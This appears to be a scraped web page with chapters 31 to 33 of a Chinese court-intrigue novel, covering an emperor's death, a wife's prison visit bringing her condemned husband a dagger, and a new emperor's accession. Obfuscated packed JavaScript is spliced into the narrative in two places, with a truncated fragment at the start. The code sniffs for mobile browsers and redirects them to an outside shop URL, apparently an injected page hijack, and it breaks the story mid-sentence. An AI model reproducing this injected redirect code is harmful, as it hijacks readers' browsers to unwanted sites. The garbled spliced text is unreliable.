RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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文景帝含笑阖上了眼。将那些哭喊声、求饶声、辱骂声,那些战战兢兢、撕心裂肺、阗怀仇恨,全都抛在了此生。 门扉大敞的暖阁门槛边,在失魂落魄的秦王、死不瞑目的赵王、哭得昏厥的赵王妃、吵成一团的文臣武将、以及抱头哭泣宫女太监之外,一双半旧的皂靴在此停驻,靴子的主人弯下腰,捡起不知何时丢到地上的黄绢。 林元海整衣正冠,展开圣旨,肃穆而苍老的声音如一道劲风,卷过漫长的春秋。 “奉天承运皇帝诏曰: 朕以菲德,嗣承祖宗鸿业始,膺天命四十有一年,克勤克俭,忧心怀民,夙夜不怠。奈修短有命,疾苦弥留,峻药枉救……今有皇次子李稷,其心坚毅,仁明刚正,宜嗣皇帝位。在廷文武之臣协心辅佐,以终予志,勿作聪明,以乱旧章……丧制悉尊皇考遗诏,毋改山陵,务俭约,以日易月,二十七日易服……诏谕中外咸使闻知。” 是日为文景四十一年,元月初二。 是时旭日东升,新的一天才刚开始。 31. 探视 大齐衙门扎堆的御路西侧,有一片占地面积颇大的建筑,是官员们见之头疼,避而远之的锦衣卫所。 今夜,不论南北镇抚司,整个锦衣卫几乎全都被稽川调至宫城,只留十来个看守大门和诏狱。人一少,本就填满血腥屈魂的地方更显阴森。 三更后,月上中天,映着莹莹白雪,将诏狱外的地面照得惨白。门口值守的校尉脸色也跟地面一样白,一阵阴风吹过,吓得他抱住胳膊,疑神疑鬼地四下张望。 “都挤到屋子里喝酒烤火,大过年的,就老子点儿背,抓阄来这吹风,真是遭老罪了……” 校尉一边嘟囔,一边往不远处亮着火光的屋子投去羡慕的一瞥。 当他收回眼神时,只见面前站了个不知何时出现的女人,穿着个白袄子红裙子,明明五官年轻,鬓角头发却是白的,脸皮雪白,手上还挎着一个竹篮,上面盖的布也是红色的。 这一眼,白的白红的红,差点没把五大三粗的壮汉魂给吓飞。校尉举起手里的刀,鞘都忘了出,胳膊还一直打哆嗦。 “……谁,你谁?!我告诉你啊,我可不怕,怕你啊!” 女人被刀逼退一步,忙解释:“官爷息怒,我是里头关着的人犯的亲眷,想进去看看,不知能否行个方便。” 校尉这才看到她脚下有影子,慢慢回过神,活动活动肩膀,为了掩饰方才的失态,抬着下巴厉声喝问:“怎么进来的?” “大门敞着,我寻不到人通报,”女人一边说,一边从腰间取下一只鼓囊囊的荷包递上,“吓到官爷实在不好意思,这点钱拿去喝点酒压压惊。” “那群浑货胆子真大,连大门都不守了……” 校尉抱怨一句,熟门熟路地伸手,然而还没碰到荷包,斜地里忽伸出一只指节宽大的手,将荷包一截、一抛,稳稳地握在掌心。 “老老老大!” 校尉还没聚拢的魂魄,这下又吓得四离五散。 来人看起来三四十岁,下巴上一丛青色胡茬,看着吊儿郎当,正是已经升了总旗的人称秋三水的秋淼。 秋三水把荷包扔回给女人,将人上下一打量,左边眉头一勾,眼睛像酒水一样冽。 “哟,何夫人。” 分明是从未见过的人,偏被一眼道出身份,何夫人柳小鸾知道这是锦衣卫的本事,却还是下意识露出了戒备之色。 秋三水装模作样地作了个揖,文绉绉地说道:“夫人恕我唐突。大过年的,就给夫人一个方便,何须劳这些钱财。” 语毕,将荷包递回去,竟就这么大咧咧地让到一边,露出身后黢黑的诏狱入口。 柳小鸾脸上的戒备变成了讶异,讶异又转为狐疑。 虽然过年取消了宵禁,但此时刻街上也早没了行人,柳小鸾一介女流深夜孤身来此,胆子是大的。所以在稍纵即逝的踟蹰后,她便抛开迟疑,行了一礼,挽着篮子走了进去。 目送着女人的背影消失在诏狱里,校尉才挠挠头,小声提醒:“老,老大,她那篮子,咱们还没搜呢。” “不早说,我去看看,”秋三水拍了拍他的后脑勺,“怎么都冻结巴了,去,喝点酒暖一暖,爷爷我替你看一刻钟。” 校尉喜不自胜:“那感情好,那感情好!谢谢老大,属下这就去了。” 自东厂设诏狱后,锦衣卫受东厂辖制,势力大不如前,狱里空了大半。柳小鸾沿着泛着潮湿腥味的过道往前走,两边的牢间空空荡荡,时不时有受惊的老鼠或蛇虫蹿过。外面的月色雪光明亮,从不足头颅大的天窗照进来,平白显得荒芜。 那一间间牢房里,像是随时能蹿出什么东西。 柳小鸾平日再有主意,却有个小毛病,就是怕黑怕鬼,在这样的地方走着,背后好像跟着个东西。她加快步伐,那个东西也跟着走快,柳小鸾骇得汗毛都竖了起来。 想到平日里头,何舂虽然为人脾气倔,但从不让她一个人走夜路,就是夜里要去外头拿个东西,也多主动代劳。柳小鸾鼻子一酸,眼眶红了。 她就不该太有主意,主动劝自己的丈夫接下那个烫手山芋,你说她一个女人拿什么主意啊,要是她当时不鼓动,何舂还好好的做着县令,就不会在这里受这份罪了。 何舂,她的丈夫,做错了什么呢?他只是见不平事,不忍缄默罢了。 这时,背后那个东西的脚步变得重了,不仅重,还变快了,眼见三两步就要追上她—— 柳小鸾心口砰砰直跳,伸出右手,摸到篮子里头,花布就盖在手上,也不知摸到了什么,神色稍定。 就在那东西快挨上她时,她攥紧掌心之物,猛地转身。 铛! “何夫人!” 秋三水眼疾手快地举刀格挡,挡下了柳小鸾手里的匕首,眉头一挑:“何夫人,诏狱里可不许带这玩意儿啊。” 柳小鸾才放下的心又提了起来,下意识攥住刀,藏回篮子里。 出乎意料的是,秋三水竟没再说什么,柳小鸾平复了一下气息,故作镇定地问道:“官爷跟来做什么,我只是想与夫君说些家常话。” “这里头年久失修,多岔道。” 秋三水对她的小动作浑不在意,摘下墙上的灯壁里的油盏,放进提着的风灯壳子里,“不太好走,你跟我来。” 语罢,也不管何夫人是否跟上,径自往前走去。 柳小鸾顿了顿,提步跟上。 秋三水领了一段路,在一间牢房前停下。柳小鸾略一打量,发现这里的牢房相比别的要洁净些,没有血迹,有床有桌,还铺了干草薄被,点了油灯,若非地点不对,倒有几分闲适。 这一眼,让她对锦衣卫多了些感激。 “何大人就在这里。”秋三水放下手里的风灯,眼睛一动,与隔壁牢间依墙而坐之人打了个照面,一勾唇角,大咧咧地招呼道:“许久不见,冯大人,不知冯大人是否还记得我这等无名小卒。” 冯矩回以温和的一笑:“秋小旗。” “是总旗了。” 秋三水没想到二人不过一面之交,冯矩竟准确地喊出了称呼,不由啧啧两声,谑道:“见你第一面起,我便知迟早有一日要在狱里见你。” 说完,反手自腰间摘下酒壶,往铁栏杆里一抛。 “冬夜苦寒,你又没人来看,小爷日行一善。大年初一,先喝点酒去去秽气,待明日我来给你捎几本书,我知道,你们读书人不就喜欢看那个么。” 语毕,拔脚利落地走了两步,又退了回来,喃喃道:“不对,我给忘了,明日中午就要上刑场了,那书您是看不了了,可惜,可惜诶。” 说完,也不管听的人什么反应,头也不回地走了出去。 待秋三水的身影消失在过道里,柳小鸾才走向铁栏杆。方才的动静不小,但她面前的牢间里悄无人声,只隐约看到一团枯瘦的人影一动不动地卧在寒床上。 柳小鸾十分担忧,对着人影喊道:“七郎!七郎!” 隔壁牢间传来男人的叹息:“何夫人,何大人在受过廷杖,一直昏睡,你这样喊不醒的。” 柳小鸾呼吸一窒,攥住跟前的铁柱子,半晌,才轻声道:“我就猜到了,还好我带了药。” 冯矩已经站到门边,从栏杆缝隙伸出的手掌心里,赫然摆着一串钥匙。 “方才秋总旗和酒壶一起扔过来的。” “多谢,多谢……”柳小鸾拿过钥匙,打开隔壁的门,魂不守舍地走了进去。 柳小鸾来到床前,只见何舂趴在上头,腰以下的衣服浸满了血,锈铁一般箍在身上。 她呆呆地站了一会儿,猛地一吸鼻子,放下手里的篮子,一言不发地给何舂除去衣裤,擦身抹药。也许是碰到伤口太疼了,某一刻,何舂自喉咙里发出模糊的低吟。 “嘶……谁……?” “是我。” 短短两字,极尽平静。然而越是平静,就越似压抑着什么。是逼迫自己接受结局的心死如灰,亦是不知该向何处讨个公道的不甘绝望。 何舂是个古板教条的人,大部分激情与精力都献给了朝廷和百姓。众人只知道他在外面一身硬骨,铁面无私,却鲜少有人知道,他其实不太会和亲人相处,不太会处理这些较为柔软的情绪。 也幸好,他这么个木头娶到一个热情爽朗的妻子。在家里,在生活上柳小鸾似乎有着花不完的精力。他们一动一静,相得益彰,给平淡的家长里短增色不少。 何舂的心酸胀不已,涩成一团,大颗的泪水从眼睛和鼻子里无声地涌出。他俯趴着,脸朝向墙壁,看不清神情,许久,才有些哑着嗓子问:“家中可好?大郎和二娘有没有问起我……你怎么说的?” “我说你要去办一件大事,出一趟远门。反正你以前常年留守南京衙门,孩子们习惯了,只当此次远行也是寻常,没有多问……我……” 柳小鸾嗓子越来越紧,说到这里,终于被迫断开,短暂的失声后才以寻常语调继续说道:“……我也不知该如何细说,索性没说。” 说完这句,一时无人开口,陷入了片刻的寂静。 过了一会儿,柳小鸾说道:“董玉莲这次真的栽了,听说被圣人当众断了死刑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116314|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这些何舂知道,文景帝宣读旨意时,他就在廷中。但后来他受刑昏迷,后面发生的事就不知道了。 柳小鸾像是知道,絮絮叨叨地告诉他:“圣人念及旧日情份,赐董玉莲白绫,自绝于宫外私邸,死后由府上女眷和义子收殓入土,也算是给他了个最后的体面。” 何舂心里不屑之极,从喉咙里发出一声冷笑。 身后传来一阵窸窣声,药已经上完,这些动静许是柳小鸾收拾药瓶发出的。然而下一瞬,何舂只觉垂在床边的手心里被塞了一柄细长之物,心里一颤,震惊地转过头,赫然看到了一把匕首。 柳小鸾垂着眼皮,双手合握,圈住他的手,紧紧握住那只匕首,看不清表情:“连董玉莲那样的人都有体面,凭什么?凭什么你这样的人却要去菜市口,面临世人指点,尸首异处?……思来想去,我没有什么能做的,只能也送你一个体面。家里不用担心,有我在便塌不了,娘那头我也不瞒了,她迟早知道……你等着,等孩子们可以独当一面了,我再去下面寻你。” 何舂嘴唇微微颤抖,极度动容之下,说的却是:“……你,你的头发,怎么白了……” 柳小鸾抬手抚上鬓角。她的手掌有着粗茧,身上拾掇过,却也是新婚那年过年买的好衣裳,已经旧了。 “没什么,白了点头发而已。” 何舂的这一生,曾口出华章,也曾御前廷辩。不论什么样的场合,面对着什么样的人,他从不失镇定气魄,亦不失口上之才。 但那些锦心绣口、饱腹万言,俱在这一刻变得肤浅苍白。 他这才意识到,就这一生,于家庭细微处,仍有遗憾未成。 在送出钥匙后,冯矩便贴心地走到离得最远的那面墙下坐下,刻意不去听隔壁的体己话。 透过铁窗,滢滢天光就落在脚前方寸地,他出神地看了一会儿,拿起酒壶,拔出木塞,灌了一大口。 有人来探,固然羡慕。但孑然一身,无牵无挂地走,也算潇洒。 思绪到这,忽然一滞。 ……也不是当真无牵挂。 自入诏狱后便与外面隔绝了消息,也不知宫里如今是何光景,秦王究竟能不能不负恩师厚望。 不知林太傅如何,他老人家说熬过这一劫就告老还乡,当几天无牵绊的闲云野鹤。便遥祝一程罢。 不知祖宗先辈可还在地府望乡台上看着他,若等他下去,遇见了,会不会怪他没来得及为冯家平冤……可惜时不我与。 不知束阳如何,背负着理想外出游历,哪知此去竟是祖孙两隔,日后得知消息会很痛苦难过吧。 不知乔四如何,从前与他玩得最好,后来一朝生分,许久未闻故友之讯了。 不知,不知她…… 冯矩叹了口气,又灌了一口酒。 所幸都是他自个儿忧心忡忡。最好不要有人惦念他,不要为他伤心,这样最轻松。 想到这里,冯矩不由失笑,自言自语:“这可真是……死生事小,万事付鸿毛……” 最后灌了一大口酒。 酒壶太小,三口就喝完了。人生太短,三步也就走尽了。 …… “何夫人,天都快亮了,该走了。” 秋三水不知何时又出现在了监牢外。柳小鸾擦干眼泪,挎着篮子走了出去,递过钥匙,低声道了句谢。 秋三水将钥匙别回腰间,目光从监牢上掠过,带了一层惋惜。他没再说什么,提着灯在前头领路。 才踏出一步,忽然从天边传来一声浑厚绵长的钟声。秋三水面色一变,一直挂在嘴边的笑收了起来,看向宫城的方向。 冯矩放下酒壶,微微仰头,面北而立。何舂撑起了上半身。柳小鸾攥紧臂弯的篮子。 铛—— 铛—— 钟声一声紧挨着一声,直到第十一声落下,冯矩在心里默数着,再没有等到下一声响起。 此乃国丧之钟。 “圣人崩了……”冯矩眼神有些茫然,喃喃:“为何这么急……” 隔壁的何舂低声道:“也不知到底是哪位胜了……” 柳小鸾似乎被这一声唤回了神,突然激动起来,一回身扑到牢门前,紧紧抓住栏杆,“若新帝是秦王,你是不是就不要……快给我,快把匕首还给我,你给我撑住,不许死,听到没有。” 秋三水踏前一步,眉宇间罕见的有些焦躁之色。皇帝驾崩,锦衣卫怕是会忙起来,宫里也不知是什么光景,他得赶紧出去。 想到这里,他连声催促,带着柳小鸾离开了。 32. 登极 元月初六,先帝小殓,沐浴容颜括发更衣,停尸主敬殿。自是日起,京城寺观各鸣钟三万杵,禁屠宰四十九日。 初七,大殓,移神躯入棺,棺前设几筵、安神帛、立铭旌,上书“大行皇帝梓宫”。嗣皇帝李稷及宫眷着素服前往哭灵。在京三品及以上官员命妇着丧衣,于思善门外哭灵。共计七日。 这是乔燕度过的最难熬的七天。 殿门大开,雪夜寒凉,跪不到一个时辰膝盖就已经失去了知觉,所有人都又冷又困,却不敢睡去,实在难受了只能小声啜泣,呜呜幽幽,听得人心烦意乱。有人半宿都没熬下来,就冻晕了过去,立时有太监前来掐人中,唤回意识继续守灵。 好不容易熬到早晨,宫女送来生食,难以下咽,有人还没开始吃就吐了出来。乔燕也吃不下,却从属于自己的食盒里摸出一双护膝,悄悄收下,借口更衣换上后再跪,果然舒服了许多。 哭声越来越响,盘旋在主敬殿的上空,像一曲奇怪的离调,倒是合上了此情此景。 等到第二日入夜,有年迈的女眷没撑住,太监来探时已绝了鼻息。 殿内尚且如此,更遑论跪在殿外守灵的大臣。这些大臣有许多上了年纪,再加上身子骨本就文弱,三天里去了两人。 过了前三天,皇后体恤,允知命之年的老人和十二岁以下的孩童可以先行回家。其后又有怙势告假之人,皇后皆允。 先河一开,众人见皇后仁慈,纷纷寻借口回家,便是皇后自己也撑不住回去了,等到第七日,殿里还坚持跪着的已不剩多少。 这些人里,身居高位的宫眷只剩一个惠嫔。惠嫔竟能跪到最后,有人瞠目,有人钦佩,也有人嗤她虚伪。 那些酸言酸语乔燕浑不在意,跪到最后三日,她几乎已经失去了全身的知觉,好几次磕倒在地,恍然惊醒,全靠意志坚持下去。中途有一次撑不过睡了过去,醒来已经在扫云殿的床上,她还坚持回去守灵。 连宜婵都有些看不下去,忍不住劝道:“连皇后都回去了,您这又是何苦。您的膝盖肿成了这样,再跪下去,伤了根本怎么办。您坚持到现在,先帝在天之灵想必都将心意看在了眼里,他不会责怪您的。” 乔燕却十分坚持,携着宜婵和程寿慢慢走向主敬殿,难得风静雪细,天地灰白,也能衍生出悠游恒长的意味。 “从前在闺中,我是个木讷胆小的人,乔家规矩多,我因为半路出家做闺秀,给自己框下的规矩更多,其实活得没有什么滋味。先帝待我不薄,我能在宫里站稳脚跟,是依仗先帝恩宠。跪在灵前那么多人,但是有几个是真心的,让我守完这七日,先帝或许能走得欣慰些,我心里也能好受点。” 初入宫时,她无依无靠,什么时候起也能面不改色地立在百官之前,沉稳自如地应对官员的抉瑕摘衅。亦能视那些评头论足如渺渺尘土,风一吹就不沾衣袂地散在了身后。 这一切都源于文景帝的纵容。 深恩难酬,心有愧怍。不过是跪满七日而已。 心思一转,乔燕看向程寿,“多谢你做的护膝,这几日跪着确实很是受用。我身边几个丫头,各有所长,却是少一个如你这般心细如尘的。” “能帮到您是奴婢的福分。”程寿抿唇一笑,并不邀功。 她这几日多番殷勤,乔燕本以为是想投至门下,也确实有重用她的打算,然而言语试探之下,却见并非如此。心下困惑,便索性直言:“这几日受你相助良多,我也不知要赏你什么……” 程寿松开手,扑通在跟前跪下。 “奴婢十四入宫,今已二十有六,家中高堂年迈,只愿今生还有相伴左右尽孝心的时候。” 乔燕不解:“宫女年满二十五可出宫,你为何蹉跎了一年?” “司礼监秉笔刘襄逼我与他对食,我不愿,他便在出宫名单上做了手脚。” 原来如此,乔燕心里一叹,“起来吧,待此间事毕,我去替你向皇后讨个恩典。” 跪满七日,乔燕连一句话都不及说,两眼一阖,彻头彻尾地昏了过去。 停灵结束,齐王朝却是山雨欲来。 往小了说,先帝谥号的选取、葬礼规格用仪等等,都亟待商讨。 往大了说,因赵王死得不明不白,秦王想要名正言顺地坐上那个位置多了不少阻力,朝堂内外躲不开一阵血雨腥风。司礼监至今群龙无首,十二监是去是留又是一场争论不休。锦衣卫历经多朝多代,后来受东厂辖制,早已失去了设立的初衷,亟需整治。京营历几次扩编,尾大不掉,也是个难题…… 朝廷之外,雪灾严重,百姓不知冻死几何,且贻误春耕,来年必有大灾。农事不兴,商道难行,百业俱废,整个齐王朝宛如千疮百孔的风筝,在狂风里摇摇欲坠。 不过这些都跟乔燕没有关系了。 她一觉睡了个昏天黑地,醒来后接待了一回唐直抒。唐直抒替秦王表达了谢意与关怀,并赠了一些补气的药品。 又过了两日,钦天监点为吉日,秦王在这一天成功登极。 下午太监在门外唱喏时,乔燕甚至没反应过来,接驾便晚了一步,等她跪下时李稷已经穿过庭院,来到了门前。 衔青宫本占地宽广,然而皇帝的仪仗往这一杵,霎时显得狭窄起来。 “娘娘免礼。” 李稷站在阶下,没有再往前。倒是今时不同往日,乔燕不敢让身为新帝的李稷矮自己一头,不得不到阶下作陪。 细雪簌簌,才刚落到衣服上就化了。 李稷身形颇高,玄服加身,十分挺拔威仪。乔燕站在他前面,头颅微垂,只能看到一片金色龙纹刺绣。 方站定,李稷牵在身旁的孩子便快步上前,一把扶住乔燕的臂膀,也不做声,眼睛明亮殷切,溢满了喜悦孺慕。 乔燕微微笑起来:“恒奴好像又长高了些,瞧瞧,快齐我肩膀了。日后做圣上的左膀右臂,为圣上分忧才是。” 李琢有些羞赧,抿唇不言。 反是李稷在一旁说道:“七弟正是长身体的时候,这个年纪的少年,两日不见就能蹿一节。” 又道:“方才考教七弟的功课,他答得不错,朕问他要什么奖励,他说想见母妃,朕只好带他过来,没有叨扰到娘娘罢?” 乔燕摸了摸李琢的脑袋,客套道:“我左右无事,七殿下何时来都是使得的。倒是您刚刚即位,怕是一堆事要做,恒奴还缠着您过来,有些不懂事了。” 李琢连忙自我澄清:“我说想过来,二哥正好也想出来走走散心,才和我一起来的。方才二哥跟我说,要重开崇文馆,聘先生给宗室子弟授课,让我也去。” “那恒奴可要好好学习,不要辜负圣上一片苦心。” 李琢用力点了点头:“二哥还说,等我学有所成,便给我封个地,治一方水土,保一方百姓。到时候我要带娘亲和您一起去享福。” 乔燕微怔,眉头微蹙,看向李稷。 先帝明明已经把亳州划为李琢的封地,新帝这是何意?莫非是反悔了? 也是,恒奴过了年才七岁,等李稷年老体迈时候,恒奴正值壮年,皇帝是否因此未雨绸缪,心生忌惮,不想送人去封地了? 李稷方才似乎在看幼弟,唇角含笑,眼神温柔。乔燕看他时,他下意识回望过来,唇角的笑意未敛,轻轻点了点头,解释道:“皇考早已定下,将亳州给七弟,但七弟年岁太幼,我又只剩他这一个亲弟弟,就想着让他在京中养两年,长大后再去封地。” “七弟,你不是要给惠娘娘看新练的字么,不如现写一张,让她看看你的进步。” 乔燕压下心里的忧虑,吩咐道:“带七殿下入内,伺候好笔墨。” 宜婵引着李琢消失在门内。乔燕面朝李稷,微低下头,“陛下支开人,有什么话要跟我说吗?” 李稷凝望着她恭谨的面容,话到嘴边又迟疑了。 其实,他缩在袖子里的手上,揣着一只空手炉。 那一天,他先和文景帝大吵一架,满心都是不为父亲理解的痛苦,后来亲眼见到故友杀死恩师,一瞬间心死如灰,受完杖刑,只觉得要冻毙于风雪里。 乔燕寻过来,骂了他一顿,赠了一把遮雪的伞,一只驱寒的暖炉。 其实手炉驱的寒微乎其微。然而他握着手炉,手心里一点点暖和起来。他将其捂在胸口,心脏慢慢也感受到了温暖,流经心脏的血又将这份温暖输送往四肢百骸。 很难言说那是种什么感受,他就这样轻而易举地生起了一丝活下去的意志,撑到了文景帝为他传太医的时候。 他今日出发前带上了这只手炉,本意是要还给乔燕,再谢先前棒喝之恩。可不知道为什么,临近此刻,摩挲着袖中手炉的纹路,却生出了一丝隐秘的不舍。 短暂的犹豫之后,李稷鬼使神差地昧下了那只手炉。 “……我来此,其实是要谢您多次相助之恩。不知您有什么想要的,只要我能做到。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116315|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乔燕心里意动,猛地抬头,却又按捺住。 她哪里敢真向新帝讨要赏赐,更何况她如今最想要的,李稷恐怕也不能给。 眼前的女人用那双盛满了期许的眼睛看着自己,李稷从未见过如此明亮的眼睛,像落下了天上的星河,可惜转瞬即逝。李稷猝不及防地撞入其中,还未及体会心跳加剧的神悦,便又随之生出一股空落落的滋味。 乔燕笑得客套:“听说您已着礼部为我取封号,封号加身,在这后宫之中何其尊贵,妾身何德何能,怎敢再三邀赏。” 李稷心里一跳,皱眉道:“这算什么赏赐。再者,封号乃礼部定下,非朕之功。再想想。” 乔燕道:“那我再斗胆讨个恩典。我手下有位宫女,年满二十六,去年因故错过了出宫的名单,不知圣上可否开恩特赦其出宫。” 话说到此,李稷如何还感受不到乔燕的谨慎与疏离。 他神情淡了下去。 “年满二十六,便是去年因故未能出宫,今年的名单上也定能有她,这等事对娘娘来讲不过吹灰之力,何以特意拿出来换朕的承诺。” 乔燕微怔,敏感地察觉到了李稷的不悦,思绪飞转,恐怕是自己的搪塞惹怒了他。 李稷看来是真心想要谢她,倒是她过于慎微,小人之心了。天子一诺何其不易,那她何妨认真想一想未及之愿。 “圣上当真,什么都能允我吗?” 李稷从她的神态中感受到了一丝郑重,受到影响,脚步微动,站直了身形。 “但讲无妨。” 默了片刻,乔燕似试探,似顽笑地道:“您可否放我出宫?” 李稷很快道:“等小七成年,你可随他去封地……” 话说到一半,在乔燕眼中一闪而过的失落里慢慢住了口,李稷这才后知后觉地反应过来她口中的“出宫”是何意。 她想要自由。 乔燕转瞬神色恢复如常,顺着李稷的话莞尔一笑:“是,那便再候些年罢。” 李稷蹙眉注视着她,蓦地问:“皇考待你不好吗?” “先帝待我恩重,宫里更是一切都好,”乔燕已恼先前口快,只想带过这个话题,“方才不过随口一说,回头想想,外面哪有宫里锦衣玉食地供着好,是我异想天开,陛下就当没听到过。” 李稷盯着她,少倾,面有愧色,艰难开口:“朕初登基,朝堂内外无数双眼睛盯着,很多事都不能随心所欲……后妃出宫在本朝没有先例,我……” 乔燕没想到他竟这样较真,更悔之前失言。然而微末之愿被人如此郑重以对,在后悔之余,还有些许动容。 李稷背过身,往阶上走了两步,温声道:“等册封太妃后,不同于宫嫔,自由许多。娘娘哪天想见家人了,只需和皇后说一声,便可让宫人拿着牙牌接人入宫。如若宫中待得乏味了,可去济慈寺礼佛,历朝历代都有先例……” 未说完,殿门洞开,便就此止住。 李琢举着大纸跑出来,正好和严厉的兄长撞了个正着,连忙收敛步伐,端着仪态走下两步,递宣纸给李稷。 李稷看了一眼,赞许地点点头。李琢面上浮出笑意,站到乔燕跟前,不知为何,竟比面对长兄还要紧张。 “母妃!请母妃敬览。” 乔燕接过宣纸,纸上墨迹未干,少年的字稚气未脱,却已初具雏形。可她此时心情不佳,好一会儿才看入眼,夸人的时候虽掩饰的很好,却还是被李琢捕捉到一丝疲倦。 李琢小心翼翼地问:“您是不是累了。” 这孩子心思未免过于敏感,乔燕挽着宣纸,歉然道:“膝伤未好,站久了是有点累。恒奴也跪了许久,须得好好保养。” “我只跪了三天,歇了四天,早无大碍,倒是二哥跪满了七天,”说到这里,李琢忙道,“是我顾虑不周,我们不打扰母妃了。二哥,您也快回去歇息吧。” 乔燕这才想起,文景帝驾崩前一天,李稷刚受过杖刑,遭寒气入侵,病得下不来床。后来连跪七日,又忙着应付朝中大臣,这铁打的身子骨也吃不消啊!想到这里,乔燕下意识抬头看了眼李稷,心道难怪脸色这样白,再这样下去,这还未坐热的皇位恐怕只能兄终弟及了。 便劝道:“圣上更要保重身体,切不能过度劳累。” 李稷心中熨帖,袖中的手炉不知为何也觉微微发烫。他心情大好地牵过幼弟的手,含笑道:“我们就先走了,惠娘娘回吧,不必送。” 33. 取谥 诸事皆毕,乔燕本盘算着日后可以睡到日上三竿,特意嘱咐宫人清晨莫要打扰,没想到这具身体习惯早起,每日寅时便准时睁开了眼,再无睡意。 这天早上也是这样。 既然醒来,乔燕索性唤人起身。盥洗完毕,尚食局的宫女恰好送来朝食,较往常多了一只巴掌大的瓷盅,揭开一看,瓷白袖珍的碗中挤着一对憨态可掬的汤圆。 乔燕有种如梦方醒的感觉:“今儿,是上元?” 前一段时间血雨腥风,时移世变,乍然回首,原来连小年都尚未过。 “是,”黎月一边布菜一边道,“只是逢国丧,今年的一应节庆皆从简。先帝遗旨里,要举国在他葬入皇陵前茹素持斋,宫里膳房不敢做什么花样,就只有这碗元宵。” 乔燕舀起一只皮薄得快透出芝麻的汤圆,吹了两口,小心咬下去,含糊地道:“待先帝葬入皇陵后才行大丧,不过先帝遗诏,以日易月,二十七日易服,很快就过去了。” “娘娘还不知道吧,嗣君说,虽然先帝体恤百姓,然为人臣民,忠孝不可少,发令宫里仍要守满三年。私下里都说,陛下也是没办法,国库没有钱,此举不仅是为先帝服丧,还能省下一大笔开销。” 提到国库开销,旁边的齐思嘉嘟起嘴:“何止是吃食,娘娘的衣服也由每季八套减为三套,还有月银、其他的日常用具,都有斟减。日后宫里再见不到兽金炭,银丝炭也只有帝后和太后的宫里有,咱们宫里恐怕只能用次一些的炭。” 小丫头快言快语地打抱不平,乔燕听在耳里,知道恐怕是宫女的份例减的更多,惹她气闷,于是只是笑笑。 乔燕对这些并不挂心,思维却还是由此发散。国库赤字多年,三年前文景帝修葺西苑的广寒宫的银子,还是掏的私库,偌大的齐王朝,其实早蛀成了蠹木,李稷和赵王斗得你死我活,接到手的不过是个金玉其外的空架子。 也不知李稷看到户部账本上还要皇帝掏钱填窟窿是个什么心情。 正想到赵王,便听黎月说道:“早晨听人说,赵王妃带着两个儿子昨夜殁了。” 舀着汤圆的勺停在唇边,乔燕问:“怎么没的?” 黎月谨慎用词:“被人发现时,赵王妃以白绫悬于房梁上,两个王子躺在床上,容色平静,像是服了毒后睡过去的。” 齐思嘉不假思索:“该不会是新皇帝……” 当啷—— 汤勺撞到碗底,刺耳的声音止住了齐思嘉的未尽之言。 乔燕面沉如水:“下去。传话给宜婵,管教不当,罚一月俸。且再让她好好教一教下头的人该如何说话,若是教不会,这一宫掌事怕也要换个人当了。” 乔燕待下人素来宽和,鲜有落脸的时候,更别说宜婵与她情如姐妹,这还是第一次用这样重的话。齐思嘉心知失言,脸色煞白地跪在主子脚边,不敢争辩,被两个太监带了下去。 乔燕平素喜爱几个年岁小的丫头天真本性,也正因此宜婵管教得便有些松,没成想竟纵得有些忘形了,若放任下去,恐是阖宫之祸。 碗里剩下的那个汤圆再色香味俱全,乔燕也失了胃口。 齐思嘉脱口而出之言,何尝不是大多人的想法。 赵王横死,李稷的这个皇位坐得本就不稳,不知有多少口诛笔伐,诬他弑君杀兄,胜之不武。如今赵王妃和两个儿子再暴毙,难以想象,李稷要面临多大的压力。 乔燕忍不住叹了口气。 “娘娘怎么了?” 乔燕起身往内间走,歪到美人榻上,说道:“赵王妃倒也贞烈。” 刀光剑影的那一日又浮现在眼前。 那一天,董玉莲落马,赵王为什么要替他求情呢?他不求情,明哲保身,未必还会被困在宫城里。 而以他在宫外布置好的人手,兵力在握,只要不入宫,便能立于不败之地。 可这样的节骨眼上,他竟为必死的董玉莲求情,这件事着实跌破了很多人的眼睛。功败垂成,棋差一着,竟只因为一介阉奴。 那天赵王跪在雪地里,困于宫道中时,是否也因此悔恨过?后人在史书上看到这一段,会不会也会生出恨其不争的扼腕之情呢? 这些疑惑,或许只有赵王自己知道答案了。 罢,罢,好端端的操这些心做什么。乔燕摇摇头,深深吐出一口浊气。 这时,宜婵走了进来,未言先跪,“奴婢罚了思嘉五鞭,且令她做回洒扫宫女,抄写一百遍宫规。” 宜婵陪着乔燕一路走来,二人情谊非同寻常,乔燕自然不会因这事介怀,于是温声道:“你处置便好,起来吧。” 黎月到外间盯着小宫女收拾碗筷食盒,内间只剩宜婵。她阖好门,在榻边半蹲,给乔燕捏腿。 乔燕在她关门时便知她有话要说。 “怎么了?” “奴婢打听到,今晨金銮殿廷议,主要商讨朝廷上空缺要职一事,其余官职由六部廷推后再议,倒是内阁,只剩温阁老一人,圣上封温阁老为中极殿大学士,任首辅,又请咱们乔家的大老爷回朝入阁担任次辅,封建极殿大学士,另封户部一位堂官为英武殿大学士,好像叫什么白观简。” 